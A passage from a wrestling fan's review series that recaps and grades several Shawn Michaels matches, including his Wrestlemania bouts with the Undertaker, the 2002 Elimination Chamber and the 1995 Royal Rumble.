Shawn makes the rope and we cut to some cheering girl in the crowd. Shawn looks a bit dead but Cena is waiting for the FU. Shawn pops up with the Chin Music but Cena tries the FU again. That gets reversed and Chin Music hits for a very delayed two. They slowly get up and Cena tries the FU again but Shawn slips down the back and hits the second Sweet Chin Music for the pin at 55:49. Unless there’s some house show match that I don’t know of, that’s the longest regular one on one match in the WWE/F since 1981.

Rating: A-. It’s certainly not a masterpiece or even anything close to one, but considering they just went an hour, you have to give them bonus points. Cena looked fresh as a daisy 40 minutes into this which is more proof that he isn’t human. This is also a loss that doesn’t hurt Cena because it wasn’t like he got beat but rather that he got caught. Very good match and the time aspect of it is remarkable. This match is on the Heartbreak and Triumph DVD.

Here’s one from the other end of the spectrum, from Wrestlemania XXVI.

Undertaker vs. Shawn Michaels

You can only win by pin or submission. They stare each other down and Shawn does the throat slit. Taker charges into some chops in the corner but Shawn is thrown into a Flair Flip in the corner, followed by snake eyes and the big boot. Old School is broken up a few times but the third try hits perfectly. The chokeslam is countered and Shawn goes after the leg. A quick Tombstone attempt is blocked and Shawn tries for the Crossface, only to be grabbed by the throat.

Taker grabs the arm as well but has to back away from Sweet Chin Music. Now Shawn is going after the knee and Taker is in trouble. Michaels goes for some stomps in the corner but the big man gets in an uppercut to send Shawn to the floor. Taker loads up the Dive but Shawn slides back in for a chop block. They head to the floor for Undertaker to take over with the apron legdrop. It hurts his leg again though and the big man can’t follow up.

Back in and Shawn takes out the leg again and there’s a Figure Four. Taker sits up and has them there crazy eyes…but can’t break up the hold. Scratch that as he can with pure power and Shawn lets it go. They slug it out on their feet again with Taker taking over with the strikes. Shawn comes back with the forearm and there’s the nipup. Unfortunately he walks into the chokeslam for a close two. Shawn busts out an ankle lock of all things and the grapevine is added as well.

Undertaker gets on his back and punches his way out of it but Shawn sends him to the floor. There’s a springboard cross body but Taker counters into a Tombstone on the floor. Shawn flailing to escape and then stopping cold was perfect. Back in and that somehow only gets two so Taker tries the Last Ride. The leg gives out again and Shawn counters into a kind of X-Factor for two. The big elbow hits knees, but that hurt Taker just as much as it hurt Shawn.

Michaels gets caught in Hell’s Gate but he flips forward into a rollup for two, making Undertaker break the hold. Back up again and there’s the superkick out of nowhere for two. Now Shawn tunes up the band but Taker catches it coming in and hits a full on Last Ride for two. Undertaker throws him to the floor and loads up the announce table. The Last Ride through the table is escaped and there’s a superkick to put Taker on the table. Shawn busts out a moonsault but mainly hits Taker’s legs. It would have looked great from a distance though.

Back in again and the superkick hits perfect but somehow only gets two. The fans are calling this awesome and I can’t say I’m arguing at all. Another superkick misses and there’s a big chokeslam. Taker can’t follow up though….until he plants Shawn with a Tombstone. THAT gets two and Taker is shocked. The Dead Man pulls the straps down but stops himself before doing the throat slit. Shawn pulls himself up on Taker’s body and does the throat slit himself, admitting that he can’t do it. Taker stares at him so Shawn slaps Taker in the face. That does it and it’s a jumping Tombstone to end Shawn’s career.

Rating: A+. That throat slit is as close to Shakespeare as WWE is ever going to get. Shawn going out in a masterpiece like this was as good as it was going to get and Undertaker gets to have another great match on his resume. Shawn has actually stayed retired which is the right move, because he’s not going to top this with one more match. It’s excellent even though it’s somehow a step below last year’s match.

Undertaker isn’t sure what to do now as the lights go out and 18-0 flashes on screen. Shawn still hasn’t moved. Taker helps Shawn up and they shake hands to a big ovation. Undertaker lets Shawn stand in the ring alone and soak up one last round of applause. Shawn slowly walks up the aisle and slaps hands. Shawn: “I’m going to drive my kids crazy in three weeks.” He walks to the back to end the show.

Back to the old days with the 1993 Royal Rumble.

Intercontinental Title: Marty Jannetty vs. Shawn Michaels

Sherri is at ringside with the question being who would she side with? Why would she side with Marty anyway? I never got that. Apparently it’s because Shawn never called her while she was in the hospital….which she was in because of Marty. So why would she ever go with Jannetty? Apparently Jannetty was drunk during this match. That might make things a bit funnier if nothing else.

Jannetty controls to start, sending Shawn to the floor twice with a knee lift and a clothesline. Marty punches Shawn down on the floor and poses in the ring. He tries a punch off the top but gets caught in the ribs on the way down. Shawn loads Marty up on his shoulder and in one of the only times I can ever remember it working, rams Marty shoulder first into the post.

The champ rams the other shoulder into the post because he hit the right one the first time, and you just don’t do that. Back in and Shawn hits a shoulderbreaker before sending Marty to the floor again. Back in and the shoulder goes into the buckle, followed by a double ax right down onto it as well. We hit the armbar but Marty fights out quickly. He tries a comeback but walks into a DDT on the arm for two.

Quick sidebar: why is that move called a single arm DDT? It’s a hold used on the arm, but the double arm DDT is used to hurt the head. Also a regular DDT uses just one arm, so why is this called a single arm DDT instead of the regular one? These are the kinds of things I think about when I’m bored by a match.

Anyway, Shawn does the always stupid looking jump into the boot spot. I mean he jumped RIGHT AT Marty’s feet. What could he possibly have been trying there? Marty avoids a charge in the corner, sending Shawn’s shoulder into the post instead. Marty speeds things up and pounds away, only to have Shawn slingshot him out to the floor. Shawn goes to pick him up but Marty suplexes him out to the floor.

Sherri finally does something by slapping Shawn, who gets belly to back suplexed into the ring. Shawn gets launched to the floor again as the pace picks up a bit. A powerslam puts the champ down but Shawn avoids the top rope punch. Marty stops himself before crashing and gets two off a DDT. Shawn misses a superkick and gets caught by one of his own for two. The crowd is getting into this.

Marty slingshots Shawn so he gets to do his big bump onto the post. There goes the referee via an elbow to the face and Sherri comes in. She swings her shoe but hits Marty by mistake of course. Shawn yells at her a lot and then superkicks Marty in the chest for the pin to retain.

Rating: C+. This started slow, picked up a good bit during Marty’s comeback, and then had a horribly uninteresting ending. Seriously, that’s it? These two would have a rematch soon after on Raw which won Match of the Year in a contest for least bad match of the year for all intents and purposes.

We’ll jump forward to a great match at In Your House X.

WWF World Title: Shawn Michaels vs. Mankind

Druids wheel out a casket during the challenger’s entrance and of course Mankind is inside. A quick elbow to the jaw puts Shawn down and there’s a shot to the throat for good measure. Mankind’s signature clothesline (Cactus Clothesline) puts both guys out onto the floor where Mankind peels back the floor mats. Shawn dropkicks them into Mankind’s face and jumps up and down on Mankind before hitting a cross body off the top and out to the floor.

A flying shove sends the back of Mankind’s head into the concrete again but he doesn’t seem all that bothered. Back in and a top rope ax handle drops the challenger again and Shawn peppers him with left hands. Michaels drops the top rope elbow for no cover before tuning up the band, only to have Mankind bail to the floor where he holds the urn and rocks back and forth. Back in and Shawn slugs away even more so Mankind slaps him in the face, sending it down to the mat in a brawl.

Mankind trips Shawn down in a nice amateur style move where he tries the Mandible Claw but Shawn blocks the hand. He elbows Mankind in the jaw to escape and pounds away as they’re in what would be called full mount/guard positions respectively in MMA terms. Mankind throws him out to the floor and sets up the announce table next to the ring, only to have Shawn dive over to pummel Mankind even more. A suplex slams Mankind’s legs into the steps and the challenger is in big trouble.

Back in and Shawn stomps at the leg but stops to yell at the referee. Mankind gets in a few kicks with the good leg but Michaels catches him in a dragon screw leg whip. There’s a figure four but Mankind gets in a shot to the face to break it up. Michaels goes right back to the knee with a dropkick and an old Mr. Perfect (on commentary) move called the Robinsdale Crunch. Off to a half crab but Mankind is quickly in the ropes for the break.

They get back up and Shawn tries a running hurricanrana, only to have Mankind catch him in the air and fall back to drop Shawn throat first across the top rope. Mankind grabs a pen to stab into his own leg to wake it up a bit in a bizarre yet smart move. Shawn gets rammed face first into the casket and a running knee to the face keeps him in trouble. Mankind’s knee going into Shawn’s head slows the challenger down a bit so he rams Shawn face first into the mat to get a breather.

Michaels comes back with a quick belly to back suplex but can’t get any momentum going with Mankind right back on him. It turns back into a slugfest until Mankind whips him into the corner and gets Shawn tied up in the Tree of Woe. An ax handle to the face knocks Michaels free and a boot to the face puts him out onto the floor. Mankind follows him out but gets whipped knees first into the steps, followed by a drop toehold into the steps for good measure.

They fight for a suplex on the apron but Shawn winds up landing on the apron where he kicks Mankind’s leg out again to take over. Back inside and Shawn gets two off a powerslam before whipping Mankind in the ropes where he flips over, getting his neck tied up in the ropes. Shawn goes over but gets caught in a quick Mandible Claw to stop Shawn cold. The Claw goes on again on the floor but Shawn launches him face first into the barricade for the break.

Back up again and Shawn grabs a chair to block a right hand, hurting the Mandible Claw hand in a brilliant move. More chair shots to the hand have the challenger in trouble so Shawn bites away at the fingers. Back inside and Michaels stomps at the hand before going to the other hand to make sure it doesn’t feel unloved. Mankind manages to backdrop Shawn back to the floor and drops an elbow off the apron in another signature move. A swinging neckbreaker puts Shawn down on the floor as these guys are getting tired.

Back in again and Mankind gets two each off a double arm DDT and a piledriver. The fans sound ready to explode on Shawn’s comeback. Mankind is so frustrated that he pulls his own hair out. We get a couple of chairs thrown in but instead of using them, Mankind opens up the casket.

Shawn fights his way out of it and hits the forearm into the nipup that he’s famous for. Michaels stomps away in the corner and gets two off a high cross body. Mankind crotches Shawn on the top to slow down the comeback before loading up a belly to back suplex to the floor. Since that would kill Shawn though, he counters in midair into a cross body to drive Mankind through the table, sending both guys down in a heap.

Mankind sets up a chair in the ring and brings in a second one, only to have Shawn use the chair as a springboard to superkick the second chair into Mankind’s face in a cool looking move. That would look to be the finish but Shawn has to pull off and go after the interfering Vader, drawing the DQ in the only bad part of the match.

Rating: A+. This isn’t just the match of the night or the match of the year or the match of In Your House so far. This match is in the running for the greatest match of all time. It tells an amazing story with Shawn having to completely change his style and get crazy to hang with Mankind. On top of that you have the brutal physical aspect with both guys just beating the tar out of each other for nearly twenty seven minutes. Absolutely amazing stuff and well worth seeing if you never have before or if you haven’t seen it in awhile.

Post match Shawn knocks Vader to the floor but gets blasted in the back of the head by the urn. Sid shows up to fight Vader to the back but it’s Mankind up first. He puts the Mandible Claw on Shawn and goes to put him in the casket, but somehow the Undertaker is inside. Paul Bearer freaks out and the crowd comes unglued as Undertaker shoves Mankind to the floor and stalks the villains up the aisle.

After fighting a former partner and a maniac, here’s Shawn against God.

Shawn Michaels/God vs. Vince McMahon/Shane McMahon

Vince introduces God and we get a spotlight. His tron video is clouds and he comes out to harp and piano music. Vince stops and criticizes God before challenging him to a dance contest. I kid you not, this is really happening. The spotlights gets in the ring and Vince tells the referee to check him out. Vince makes the match no holds barred because the idea of Vince wrestling an actual match isn’t pleasing. Sexy Boy finally hits to end this stupidity.

Vince starts to run his mouth some more and Shawn finally drills him to get going. The daddy goes to the floor while Shawn beats up Shane. Shawn dives on Vince before clotheslining Shane to the floor and hitting a flip dive to take him out. Michaels chops Shane up the ramp but Shane comes back with knees to the stomach. Shane tries to piledrive Shawn off the stage but gets backdropped instead.

Shawn comes back but here’s Vince with a chair as they’re all on the stage now. Shawn blocks the shot and takes Shane down again before hitting a cross body on Vince off the stage. This looked like nothing live but it looked good on camera. Shawn climbs back up to the stage but gets hit in the face with the chair by Shane. Michaels is busted which I never noticed in the arena.

Shane and Shawn head back to the ring and Shawn goes into the post. Shawn gets sent into the barricade and then back into the ring as Shane is in complete control. The top rope elbow misses and both guys are down. Vince is on the apron now and apparently they have to tag. Shane DDTs Shawn down and it’s off to Vince. Vince takes his belt off and whips Shawn’s back because he’s that evil. Shane throws in a garbage can and Shawn gets his head caved in.

Vince wants a mic and taunts God a bit. God walks out and Vince says come back. Vince declares that God has left the building, but Shawn hasn’t. He stands Shawn up and tries a superkick but the kick gets caught. Shawn makes his comeback and hits the forearm and nip-up. Shane misses a chair shot and caves in Vince’s head by mistake. It’s a forearm for Shane followed by an atomic drop and some clotheslines. Shawn’s top rope elbow hits and both McMahons taste superkicks.

Shawn, ever the genius, doesn’t go for a cover but rather goes to the floor for a table. Make that two tables. My fellow Lexingtonians (yes that’s what they’re called) want ladders because much like other wrestling fans, they’re greedy people. Both McMahons are put on tables and here comes the ladder. It’s the jumbo sized ladder too. Shawn climbs up but has to dive on the invading Spirit Squad. That was incredible live but the camera didn’t get a great shot of it. The main problem was you didn’t see them until the dive so Shawn looked crazy.

The numbers catch up with Shawn and he gets beaten down by the five male cheerleaders who are currently tag team champions at this point. They throw Shawn back in and get the McMahons off the tables. The Squad takes Shawn into the ring and hit their finisher on him, which is them all picking him up at once and dropping him through a table. Vince gets the pin. JR calls this BS but the uncensored version.

Rating: D. The match was boring, but JR put it best during the match: this was uncomfortable. On top of that, the whole thing was stupid. This would set up a feud that ran for the whole year which didn’t work all that well either. It did lead to the reformation of DX which was pretty interesting, but dang this first part was torture to sit through. Not a horrible match but dang this was a chore to sit through.

Time for another first, this time at Survivor Series 2002.

Raw World Title: Kane vs. Chris Jericho vs. HHH vs. Shawn Michaels vs. Booker T vs. Rob Van Dam

Jericho is a tag champion, but the cool part here is that as he comes out, Saliva does his theme song live at WWF New York. HHH is defending of course. Shawn’s tights are….brown. This is one of those decisions that no one ever quite got and he was made fun of extensively for them apparently. I mean…..BROWN? Mankind wore brown for crying out loud. The wide show of the Chamber really does look cool. Anyway the entrances take a long time and RVD vs. HHH gets us going.

Van Dam hits a spinwheel kick to take HHH down but walks into a facebuster. The Pedigree is countered into a backdrop over the top to hit the cage outside the ring. JR’s statements about the Chamber are already nuts as he says it has no soul or conscience. IT’S A FREAKING CAGE! Anyway, HHH is rammed into the cage over and over to bust him open and Van Dam hits Rolling Thunder over the top rope to land on HHH on the cage. Yeah there’s a floor made of cage surrounding the ring that is level with the mat if you’ve somehow never seen one of these.

Van Dam goes up on one of the pods but his flip dive mostly hits the floor instead of HHH. Back in the ring and HHH gets stomped down in the corner as Jericho is added in as the third man. Van Dam immediately kicks him down and it’s five minutes until the next entrant. A cartwheel into a moonsault gets two on Jericho and they head outside the ring as well. In the first famous spot in the Chamber’s history, Van Dam jumps off the top rope, misses Jericho, and grabs onto the cage like Spider-Man before spinning back around to cross body Jericho. That’s still awesome.

HHH gets back up and hits the knee to the face of Van Dam which gives Jericho a two count. HHH and Jericho double team RVD before Chris tells Shawn to suck it. Van Dam’s back gets rammed into the cage wall some more and Jericho talks a lot of trash. Rob’s back goes into the cage over and over and we head back in to the ring. There’s a spin kick to put Jericho down as Booker T is in fourth.

Booker quickly clears the ring and we get a Spinarooni before Van Dam fights Booker one on one. Booker gets in some shots to Rob but walks into the stepover kick to give Van Dam control again. HHH gets back up and takes Van Dam down, only to get caught by the scissors kick from Booker. The next big spot of the match is Van Dam going up to the top of the pod and hitting the Five Star on HHH, with Van Dam’s knee hitting HHH’s throat, severely (and legitimately) injuring HHH’s windpipe. Since HHH can’t get up right now to eliminate Van Dam, Booker hits a missile dropkick to take Van Dam out.

Booker grabs a quick cover on HHH but only gets two. Jericho goes after Booker but gets caught in an Alabama Slam for his efforts. Kane comes in fifth because we don’t quite know if Shawn’s back can handle a full match yet. Kane goes off on Booker and Jericho as HHH lays on the outside. Jericho gets launched face first into the cage wall and is then thrown through the BULLETPROOF, yes BULLETPROOF I SAY glass. This would become a running joke in the Chamber.

JR says the Chamber has no soul or conscience again just to hammer home the point. Kane chokeslams Booker and Jericho adds the Lionsault to take Booker out and get us down to four guys. A Kane suplex gets two on Jericho as we’re waiting on Shawn to come in. HHH goes up top for no apparent reason and gets slammed down ala Flair. Jericho missile dropkicks Kane down and here’s HBK.

HHH is down in the corner of course so Shawn can only beat on Kane and Jericho. There’s the forearm to Kane but no nipup, leaving everyone down at the moment. Kane whips Shawn HARD into the corner where Shawn flips upside down. There’s a chokeslam for all three remaining guys not named Kane but instead of covering, Kane loads up a Tombstone on HHH. Shawn superkicks Kane down but he sits up. The Pedigree and Lionsault finally put Kane out and we’re down to three.

Shawn gets double teamed by HHH and Jericho and it’s time for Chris to dance. After being rammed into the cage a few times, Michaels is busted open. Jericho talks more trash and HHH walks around a lot. Shawn tries to fight back but his piledriver on the cage is countered to backdrop his bad back onto the cage again. There’s the Lionsault….for two. You know, the move that put out Booker and Kane earlier? It’s now not enough to put down Shawn when he’s been beaten down and injured on top of having one match in four and a half years.

Shawn comes back with a moonsault press to Jericho for two before putting Jericho in the Walls. HHH finally comes back from getting popcorn or something with a DDT to Shawn. Jericho and HHH finally get in the argument you were expecting and the fight is on. Jericho jumps out of the corner and lands in the Pedigree, but Jericho counters into the Walls. While holding HHH, Shawn kicks Jericho’s head off and it’s down to one on one. If this surprises you, you’re an imbecile.

So it’s Shawn, bloodied and injured and in his second match in four years, against an also injured HHH in the main event at Madison Square Garden. Gosh I’m so glad these two are so selfless. The spinebuster puts Shawn down and HHH backdrops him over the top. Shawn sends HHH into the cage but when Shawn tries to Pedigree HHH on the steel, HHH counters into a slingshot through the cage again. You know, because Shawn would still be alive at this point.

Back in the ring all that gets two and it’s time for the slugout. Seriously, those brown tights are so stupid looking. A facebuster puts Shawn down and it’s another clothesline to put him onto the outside. The Pedigree on the steel is countered into another slingshot into the Chamber wall. Back into the ring and Shawn drops the elbow off the top of the pod. The Superkick is countered into the Pedigree and, say it with me, Shawn kicks out at two. Another Pedigree is countered into a backdrop, followed by the Sweet Chin Music to give Shawn the title.

Rating: D+. I’ve mellowed on this match in the last few years to the point where I’m not mad about it anymore. However, it’s still one of those matches where you look at it and say really. As in REALLY? We’re supposed to buy that Shawn can survive ALL of that and still win the freaking title? You have to keep in mind this isn’t the Shawn who was having the match of the year for like five years running. No one expected him to go on as long as he did. At this point, making it to Wrestlemania would have been impressive.

That’s where this match loses it for me: we’re supposed to buy that Shawn is so great, so amazing, and so tough that he can basically walk off the street and be better than four of the top guys in the business? There comes a point where my suspension of disbelief is cut off and I can’t buy this anymore. We passed that at Summerslam, making this even more ridiculous. This match is also the reason we had to sit through the AWFUL match at Armageddon, where HHH and Shawn got to waste 40 minutes of our time by barely being able to move.

In short, this is way more than I can accept as far as the match being realistic. In wrestling, you have to accept that some stuff is ridiculous. That’s called suspending disbelief. However, there comes a point where that’s not the case any longer. It’s unrealistic in wrestling terms to accept that Shawn can survive all this and win the title. This was pure selfishness from Shawn and HHH, which would get WAY worse in the future. HHH wouldn’t make a new star for over a YEAR when he put Benoit over at Wrestlemania in the same arena.

As for the rest of the match, it’s acceptable, but WAY too long. The Chamber matches need to go about thirty minutes instead of the forty this one went. The last seventeen minutes here, as in the amount of time after Kane is eliminated, are REALLY repetitive and while they had good drama, they needed to be cut. Booker, RVD, Jericho and Kane were all there to fill in spaces and be there for Shawn and HHH to bounce off of. I don’t hate the match, but it really doesn’t work all that well.

Shawn would enter the 1995 Royal Rumble first and do something special, albeit in a bad match.

Royal Rumble

Shawn is #1 and Bulldog is #2. Shawn immediately jumps Bulldog but this isn’t going to last long. Remember there are one minute intervals, which was just a bad idea in general. Smith gets a quick gorilla press, but why throw Shawn OUT when you can just slam him? That clearly won’t come back to haunt him later or anything of course. Smith charges into a boot and here’s Eli Blu (one of the Harris Brothers, who were the big bald bikers who were around for WAY too long) at #3.

Nothing happens so here’s Duke Droese (a wrestling garbageman) at #4. Eli fights Smith and Droese squeezes Shawn until Jimmy Del Ray of the Heavenly Bodies is #5. Nothing continues to happen because there isn’t enough time between entries. Sione (Barbarian) of the Headshrinkers is #6 as Del Ray is tossed out. Tom Prichard of the Heavyenly Bodies is #7 and STILL nothing is happening.

Doink is #8 as the Rumble is going way too fast. It’s like the original Rumble: not enough names to care about and nothing going on at the same time. Kwang is #9 and Rick Martel is #10, I believe in his last WWF match. There are nine people in the ring right now. Shawn is almost out but fights off Kwang to survive. Owen Hart is in at #11 and here’s Bret to jump him in the aisle. Owen survives and climbs in, only to be eliminated in three seconds.

Shawn puts out Droese and Timothy Well (partners with Steven Dunn in the tag team of Well Dunn) is #12 and is out almost immediately. Martel and Prichard go out faster than I can see them and Kwang superkicks Doink out. Luke of the Bushwhackers is #13 and during his entrance, everyone but Bulldog and Shawn are gone. Literally, four people were put out inside of six seconds. Luke is out almost immediately and it’s Shawn vs. Bulldog again.

Here’s Jacob Blu at #14 and HE TOO is gone in like fifteen seconds. This is so stupid. King Kong Bundy is #15 and he beats on both guys for about twenty seconds before it’s Mo at #16. Mo is like the fifth guy to last less than thirty seconds. If your roster is this weak, CUT THE FREAKING MATCH DOWN. Nothing else happens until Mable is #17 for the showdown with Bundy. Mabel dumps him out as Butch is #18 and is gone in less than 20 seconds as well. More on this later.

Lex Luger is #19 and he goes right for Mabel for no apparent reason. He eliminates the fat purple and gold dude before gorilla pressing Michaels down like an idiot. Mantaur, a stupid monster character, is #20. He beats on Luger and Bulldog until Aldo Montoya (Justin Credible with a jockstrap on his face) is #21. Henry Godwinn is #22 as we’re waiting on a bunch of people to get thrown out so everyone can go home. I think this is one of Henry’s first matches.

Billy Gunn is #23 so naturally Bart Gunn is #24. Bob Backlund is #25 and also lasts about fifteen seconds due to a Bret Hart attack. Steven Dunn is #26 as there are like ten people in there. Bret and Backlund fight in the aisle again and old man Dick Murdoch is #27. Mantaur misses a charge at Bart and Adam Bomb is #28. For the second year in a row, Vince decides Adam Bomb is going to win the Rumble. Seriously.

Fatu is #29 and Luger eliminates Mantaur. Crush is #30, giving us a final group of Shawn, Bulldog, Luger, Montoya, Godwinn, Bart, Billy, Dunn, Murdoch, Bomb, Fatu and Crush, or WAY TOO MANY PEOPLE. Thankfully Crush immediately eliminates the Gunns to clear the ring out a bit. We cut to Anderson who gives a very uninterested wave and points to the ring. You know, because this is SO beneath her. Well, not beneath her enough to give the check back or anything but you get the idea.

Dunn is put out off camera and Murdoch almost puts Shawn out. Luger makes the save due to a lack of intelligence as Murdoch tries headbutts on Fatu. Naturally it doesn’t work at all because YOU DON’T HEADBUTT A SAMOAN. Bomb is backdropped out and Shawn throwsn Montoya out. Luger saves Shawn AGAIN and Crush eliminates Fatu. There are six guys left: Murdoch (who hits a dropkick and airplane spin on Godwinn), Godwinn, Shawn, Bulldog, Crush and Luger.

Murdoch gets dizzy from the spin and falls out to get us down to five. Lex dumps Godwinn and we’ve got four left. Michaels and Crush double team Luger as Bulldog gets a breather. They dump Lex and we’ve got three guys left. Smith gets double teamed until Shawn turns on Crush and is lifted into the air. Bulldog uses the distraction to eliminate Crush and it’s one on one. Davey destroys Shawn and presses him onto (not over. That would make sense) the top rope. Shawn is knocked over the top, but in the famous finish, he hangs on and ONLY ONE FOOT touches, allowing Shawn to come back in and eliminate Smith to win.

Rating: D. This is a hard one to grade, because the stuff that was decent was in fact decent. The problem is there wasn’t much stuff that falls into that category. First and foremost, SEVEN PEOPLE OUT OF THIRTY did not last thirty seconds. If they’re that meaningless to the match, simply do not put them in the Rumble. It looks stupid and there’s no reason to have them out there.

Second, the time intervals. These were a major issues because there’s no time to get ANYTHING going in the match. When you count ten seconds or so to get into the ring (some people take up to twenty), you’re looking at about 45 seconds of action with the new guy before someone else comes out. That’s just not enough time to get anything going at all.

Third, and this is probably the biggest problem of the match, look at the roster here. At a glance, I see four people with actual chances to win: Crush, Luger (they’re both BIG stretches), Bulldog, and Shawn. After that there’s Owen Hart but he was one of the guys that didn’t make it thirty seconds in the ring.

Then you’re looking at guys like Montoya and Well Dunn and the Bushwhackers (who amazingly still had jobs in 1995) and the Heavenly Bodies (by my count there were five tag teams in here, or one third of the match. WAY too many guys at that level) and Dick freaking Murdoch. This is a match that was BEGGING for a midcard to come in and fill in some spots. Guys like Ramon and Jarrett and Bigelow and Tatanka would have helped this match a ton, but instead we get all these fillers. That’s a big reason why this didn’t work.

We’ll hop the pond for One Night Only in 1997.

European Title: Shawn Michaels vs. British Bulldog

Now if you want to talk about a mixed reaction, Shawn gets a mixed reaction. I mean it’s right down the middle. Davey of course gets the big old hero pop that you knew he would get. While it may seem obvious as to who is going to win here, this wasn’t as in the bag as it appeared to be. Smith losing here would have caused about as big of a riot as Bret losing in Montreal.

Smith is about as over here as Vince would be in a “Who’s got the biggest ego contest”. Shawn walks up the ramp for no apparent reason before coming back to the ring. Smith starts off by completely overpowering Shawn who again walks up the ramp. In a cool looking spot, with Shawn on the apron and looking away from the ring, Smith hooks him for a reverse suplex and just drops him back into the ring. It looks a lot better than it sounds.

Vince says he’s surprised Shawn didn’t break in half. Say that again in about four months Vinny. How many freaking big time matches have these guys had? They have the final SNME match, they have KOTR 97 and now this. That’s a lot for a series of big matches when you think about it, especially over that long of a stretch of time. Bulldog is ridiculously popular and is dominating.

Apparently he’s dropped about 20 pounds or so, which is about 2 stones. Vince says Shawn is in his prime. I don’t know about that, but it’s close enough. As Bulldog beats on him for a good while, here’s Rick Rude, who was the insurance policy for Shawn in what would form into DX. They had been hanging out lately but nothing concrete had happened yet.

We hit the sleeper now to kill off a bit of time which is fine by me. Lawler says not to adjust the TV. Who does that? I mean really, have you ever adjusted your TV? I certainly haven’t. The pace slows a lot with Shawn working on the arm, which means you know what’s coming. Yep, there it is, as Smith shows incredible power and picks up Shawn while he’s in an arm lock.

Here’s HHH and Chyna as I wonder WHERE ARE THE FREAKING HARTS??? Shawn starts his finishing sequence and goes for Chin Music in the corner of all places but Smith counters into the powerslam. Rude grabs the foot and we hit the floor where the kick connects. Rude and HHH beat on him as somehow the referee sees none of this which is just completely ridiculous but whatever.

HHH even hits the Pedigree on the floor. Apparently Davey is wearing a knee brace for a bad knee which hasn’t been mentioned until just now. Well alright then. HHH and Chyna help Shawn and pull him about 6 inches. Seriously, how can the referee not freaking notice this??? Now Rude interferes again as this is beyond stupid now. Oh apparently Bulldog slipped off the platform that the ring is on and hurt his knee.

Well that’s something I guess. The referee stops the match to give Shawn the title and the Grand Slam. There are rumors that Smith was supposed to win but Shawn and HHH played politics to get the win as close to two days before this show. Somehow, I could completely buy that. There was zero need for Shawn to win here, especially in a show never mentioned on American television.

I really don’t…oh you have got to be screwing with me. Shawn puts the hold back on and Smith’s wife gets in to help but is picked off by Chyna and BRET AND OWEN HART RUN IN FOR THE SAVE. WHERE IN THE HOLY WORLD WERE THEY FIFTEEN FREAKING MINUTES AGO??? COME ON VINCE WILL YOU FREAKING THINK ONCE IN YOUR LIFE??? THAT MAKES NO SENSE!

If they’re going to run in for the save NOW why not do it when there were three people cheating to help Shawn? DX poses forever to end this. Yeah, after that stupidity, I’d totally buy the HHH and Shawn politics thing.

Rating: B-. The ending here is just so stupid that it makes my head spin, which makes me really think Shawn and HHH had something to do with it. Honestly, what did Shawn gain here? Does anyone remember anything about his European title reign that had to do with him defending the belt? I certainly don’t.

Actually, I remember him losing it on the Christmas show to HHH after Slaughter made them fight because he hadn’t defended it in over two months. What in the world was the point of him getting it here other than to help his own ego? That makes zero sense. Other than that bringing this match WAY down and the Harts looking like idiots, this was a kind of slow match and overly long with the interference sucking the life out of it at the end. It’s not bad, but not great at all.

Now on to the final two, starting with what might be the best match of all time. From Wrestlemania XXV.

Undertaker vs. Shawn Michaels

Shawn comes down from the top of the set all in white, Undertaker comes through the stage in blackk, symbolizing heaven vs. hell. Now THAT is an entrance. Feeling out process to start with Shawn circling around Taker and sticking with a few jabs here and there. Michaels pounds away in the corner and hits a hard chop but taker catches an incoming right hand. Taker LAUNCHES him into the corner and nearly out to the floor, only for Shawn to jump off the top and over Undertaker to get away.

Shawn might have hurt his knee but he’s channeling his inner Bret by goldbricking. Taker will have none of that and throws Shawn into the corner for more punishment. Michaels comes back with chops in the corner but gets backdropped down to stop the momentum. Taker drives some shoulder into Shawn but Shawn takes him down with a clothesline. The reverse Figure Four (called a regular one by that idiot Michael Cole) has Taker in trouble but he finally slugs his way out of it.

Taker pounds way in the corner but has to stop to shake life back into his leg. Snake eyes and the big boot put Shawn down and a legdrop gets two (brother). A chokeslam is countered into the Crossface by Shawn but Taker rolls over onto his side to block a lot of the pressure. After an attempted rollup by Undertaker, Shawn cranks on the hold a bit more, only to have Taker fight up and hit a big side slam for two. Back up and they slug it out with Shawn taking over via a flying forearm.

There’s the nipup but Shawn doesn’t tune up the band. Instead it’s a pair of atomic drops and a clothesline but as Shawn goes up, he jumps into the chokeslam. He escapes THAT and tries the superkick but is too far away, meaning the kick only hits Taker’s chest. It puts Taker down so Shawn tries the Figure Four but Taker counters into Hell’s Gate. Shawn flails around and gets a foot on the rope for a fast break but he’s clearly staggered.

We head to the floor for a bit but Taker misses the apron legdrop. A baseball slide keeps Taker on the floor but as Shawn tries the moonsault to the floor, Taker moves and Shawn CRASHES onto the concrete. Back inside and Taker sits up and busts out the Taker Dive, only to overrotate and CRASH in a terrifying landing. Shawn thankfully pulled a cameraman in the way to block some of the impact but this scared me to death live.

Shawn tells the referee to count in a kind of mid-match heel turn but Taker makes it back in at nine. Another superkick attempt is ducked and a HUGE chokeslam gets an insanely close two. The fans are getting way into these near falls now. The Tombstone is countered, the superkick is blocked, the chokeslam is escaped and NOW the superkick hits for a very delayed two count. Shawn is up now and looks all ticked off.

Taker grabs him by the throat but the Last Ride is countered into a sunset flip bid, but THAT is countered into the biggest Last Ride ever for two. Watching this match for probably the fourth time I actually thought that was the finish. Think about that for a minute. Taker goes up top and misses a top rope elbow but as Shawn tries to skin the cat, Undertaker catches him in the Tombstone. He sticks the tongue out but THAT gets two, I believe making Shawn either the first or second guy ever to kick out of all three of Taker’s finishers.

Taker nearly collapses from the shock and has a look on his face saying he has no idea where to go now. Shawn spins out of a Tombstone bid into a DDT and both guys are down. Michaels slowly crawls to the top and drops the elbow for no cover. Instead he tunes up the band again and the fans are all over him as a result. The kick hits clean and Shawn covers almost immediately but it only gets two. These kickouts are getting better and better each time.

They fight up from their knees and use each other to pull themselves up before slugging it out with everything they’ve got. A big boot puts Shawn down but Taker charges into a boot in the corner to put him down. Shawn climbs up top and tries a moonsault press, but Taker somehow catches him in mid air for another Tombstone to make him 16-0, and that’s your match of the year.

Rating: A+. Masterpiece, excellent, classic, best match they’ve ever had, best match of all time candidate etc. Pick one, as they’re all appropriate. This is one of the only matches ever where I’ve been on the edge of my seat the entire time and lost my mind on the kickouts. Absolutely outstanding here and one of the best matches I’ve ever seen, and that covers quite a bit of ground.

And now, perhaps my favorite match ever, from May 2, 2005 on Raw.

Gold Rush Tournament First Round: Shelton Benjamin vs. Shawn Michaels

This is the match that I was talking about. Shawn is back in the world title hunt after going after Muhammad Hassan for a few months. Shelton is on fire at this point so this is going to be great. They immediately hit the mat and Shelton dominates as you would expect him to. Shawn grabs a hammerlock and they hit the mat again. Shelton rides him again and Shawn has to head to the ropes to get a break.

